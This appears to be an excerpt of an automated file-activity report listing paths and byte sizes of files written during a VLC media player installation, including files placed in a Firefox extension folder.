    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\9e8aecef9183c38d37f71e95b300cc06.js (13 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\223.js (829 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\721bfd909acd32e50c58124b20e7a201.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ddd456964a5c5a4cff8f91d4824a6716.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\21.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\72.js (1601 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\defaults\preferences\prefs.js (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\391.js (801 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\5c48f5d342d65ea593a9d92ec0d1f3d4.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\b77ed160ff505ecfeb9f307517848274.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon48.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\skin\icon16.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\180.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\e9f745e7f860ea256f1624f065a02f8f.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\dialog.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\354.js (5118 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\api\4ac8ca25e5e018bb5fda96d7b892cee6.js (964 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\281.js (461 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\207.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\94e06fae0b9ef72a64eb5f16eb8cceb3.js (26 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\7a984e7a5abe2e86a9528cd1579e66eb.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\ffCoreFilesIndex.txt (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\376.js (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\extensionData\plugins\102.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]\chrome\content\core\43c1647b965bee679dc2a3a981cc0d50.js (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_gather_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\si\LC_MESSAGES\vlc.mo (11048 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libtheora_plugin.dll (13368 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libyuy2_i422_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libextract_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_arrays.h (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\uninstall.log (330738 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_02.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\sd\fmc.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\sr\LC_MESSAGES\vlc.mo (12024 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\LangDLL.dll (15 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\bbc_co_uk.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_smem_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmotionblur_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsharpen_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\hotkeys.luac (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_rgb_sse2_plugin.dll (5064 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\control\libntservice_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\white.png (70 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_dirac_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libdvdread_plugin.dll (6360 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libosdmenu_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcc_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcroppadd_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_chroma\libi422_yuy2_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_inhibit.h (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\common.luac (7 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\view.html (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdirectx_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\images\speaker-32.png (942 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_pool.h (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libps_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_es_out.h (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\AUTHORS.txt (13 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\mpora.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ast\LC_MESSAGES\vlc.mo (18424 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_events.h (7 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_list_player.h (6 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\meta\art\01_googleimage.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\gui\libskins2_plugin.dll (68799 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture_fifo.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libglwin32_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_ts_plugin.dll (5064 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\play_pause.png (10 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\stop.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcvdsub_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\modules\httprequests.luac (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\axvlc.dll.manifest (294 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\is\LC_MESSAGES\vlc.mo (4992 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgradient_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ps\LC_MESSAGES\vlc.mo (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\vlc.h (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\el\LC_MESSAGES\vlc.mo (28288 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_mixer\libfixed32_mixer_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi420_yuy2_sse2_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libcolorthres_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_dummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\3dnow\libmemcpy3dn_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\be\LC_MESSAGES\vlc.mo (25776 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\InstallOptions.dll (804 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libripple_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\browse.xml (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_228ef1_256x240.png (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ka\LC_MESSAGES\vlc.mo (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_mpegvideo_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_dash_plugin.dll (24832 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsdec_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\pl\LC_MESSAGES\vlc.mo (20416 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmp4_plugin.dll (7192 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\minus.png (109 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libatmo_plugin.dll (6584 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\lua\liblua_plugin.dll (11048 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libvc1_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\sv\LC_MESSAGES\vlc.mo (11048 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\loop.png (101 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_main.h (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\volume_down.png (108 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libvcd_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libmpeg_audio_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\en_GB\LC_MESSAGES\vlc.mo (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libzip_plugin.dll (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libmirror_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-icons_ef8c08_256x240.png (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_threads.h (15 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libaes3_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libsdp_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\bn_IN\LC_MESSAGES\vlc.mo (30968 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libdts_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\fa\LC_MESSAGES\vlc.mo (4992 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\images\Back-48.png (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\text_renderer\libfreetype_plugin.dll (23424 bytes)
    %Program Files% (x86)\VideoLAN\VLC\vlc.exe (3616 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\youtube.luac (8 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_config.h (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libdshow_plugin.dll (8184 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_asf_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_services_discovery.h (6 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libvorbis_plugin.dll (49631 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\tl\LC_MESSAGES\vlc.mo (461 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_streams.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\gd\LC_MESSAGES\vlc.mo (6360 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_10.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libi420_rgb_mmx_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\requests\status.json (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlc.dll.a (6360 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\metacafe.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libwingdi_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\liblive555_plugin.dll (23424 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selection\esc.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_07.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\main (8 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libsimple_channel_mixer_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access_output\libaccess_output_dummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ku\LC_MESSAGES\vlc.mo (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\services_discovery\libupnp_plugin.dll (10136 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_media_discoverer.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libtransform_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\reset.png (134 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblpcm_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\it\LC_MESSAGES\vlc.mo (14184 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_probe.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdolby_surround_decoder_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\liblibass_plugin.dll (59286 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsx31D.tmp\ioSpecial.ini (12157 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_xml.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_imem_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\librawaud_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_filter\libstream_filter_record_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libgrain_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\npvlc.dll (11048 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\telnet.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\speaker_mute.png (328 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\sd\freebox.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_mouse.h (4 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\fw.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_common.h (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.la (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\play.png (102 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_opengl.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ca\LC_MESSAGES\vlc.mo (7192 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\functions.js (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmono_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_autodel_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\france2.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libwave_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\mobile_browse.html (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libscene_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\empty.png (120 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_demux.h (8 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\tr\LC_MESSAGES\vlc.mo (20624 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_structures.h (2 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player skinned.lnk (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libmpgatofixed32_plugin.dll (5064 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libadummy_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\meta\art\03_lastfm.luac (1 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\VLC media player.lnk (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libcrystalhd_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_output\libdrawable_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libty_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\js\jquery.jstree.js (6360 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\librawvideo_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libclone_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\intf\luac.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\control\libhotkeys_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\VideoLAN Website.url (50 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_picture.h (10 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libsubsusf_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_cdg_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\am\LC_MESSAGES\vlc.mo (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libspatializer_plugin.dll (3616 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libes_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\km\LC_MESSAGES\vlc.mo (29608 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\te\LC_MESSAGES\vlc.mo (6360 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmjpeg_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\lib\libvlccore.dll.a (14184 bytes)
    %Program Files% (x86)\VideoLAN\VLC\README.txt (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\delete.png (124 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\googlevideo.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_display.h (14 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\images\Folder-48.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\volume.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libpuzzle_plugin.dll (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsi30D.tmp (2051311 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\images\vlc16x16.png (606 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\cue.luac (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\plus.png (114 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\liberase_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_gcrypt.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\sse2\libi422_yuy2_sse2_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\bg\LC_MESSAGES\vlc.mo (23424 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\joox.luac (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\hi\LC_MESSAGES\vlc.mo (4992 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\visualization\libprojectm_plugin.dll (42762 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libinvert_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libopus_plugin.dll (11048 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\gu\LC_MESSAGES\vlc.mo (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\meta_engine\libtaglib_plugin.dll (42762 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\misc\libosd_parser_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\oc\LC_MESSAGES\vlc.mo (5064 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libmpgv_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_04.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_record_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mmx\libmemcpymmx_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_input_item.h (10 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\mux\libmux_avi_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\create_stream.html (14 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_01.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\misc\libstats_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\codec\libpng_plugin.dll (6584 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\ga\LC_MESSAGES\vlc.mo (5520 bytes)
    %Program Files% (x86)\VideoLAN\VLC\skins\fonts\FreeSansBold.ttf (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libalphamask_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libball_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\selected\bw.png (11 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\gui\libqt4_plugin.dll (392127 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\images\Video-48.png (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_vout_osd.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\playlist_small.png (84 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\video_filter\libsubsdelay_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libasf_plugin.dll (2392 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libdtstospdif_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\old\input (9 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_smb_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\batch_window.html (857 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_media_library.h (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\images\help.png (105 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\old\js\vlm.js (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\dialogs\error_window.html (482 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_output\libwaveout_plugin.dll (1856 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libdemux_stl_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\ui-lightness\images\ui-bg_highlight-soft_100_eeeeee_1x100.png (88 bytes)
    %Program Files% (x86)\VideoLAN\VLC\osdmenu\default\volume\volume_08.png (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\css\main.css (3 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\VideoLAN\Reset VLC media player preferences and cache files.lnk (1 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\libvlc_version.h (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_spu.h (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\activex\test.html (784 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\access\libaccess_udp_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\stream_out\libstream_out_mosaic_bridge_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libequalizer_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\audio_filter\libconverter_fixed_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\playlist\anevia_xml.luac (2 bytes)
    %Program Files% (x86)\VideoLAN\VLC\vlc.exe.manifest (825 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_messages.h (5 bytes)
    %Program Files% (x86)\VideoLAN\VLC\lua\http\js\ui.js (3 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\packetizer\libpacketizer_h264_plugin.dll (3312 bytes)
    %Program Files% (x86)\VideoLAN\VLC\locale\co\LC_MESSAGES\vlc.mo (702 bytes)
    %Program Files% (x86)\VideoLAN\VLC\plugins\demux\libxa_plugin.dll (1552 bytes)
    %Program Files% (x86)\VideoLAN\VLC\sdk\include\vlc\plugins\vlc_subpicture.h (7 bytes)
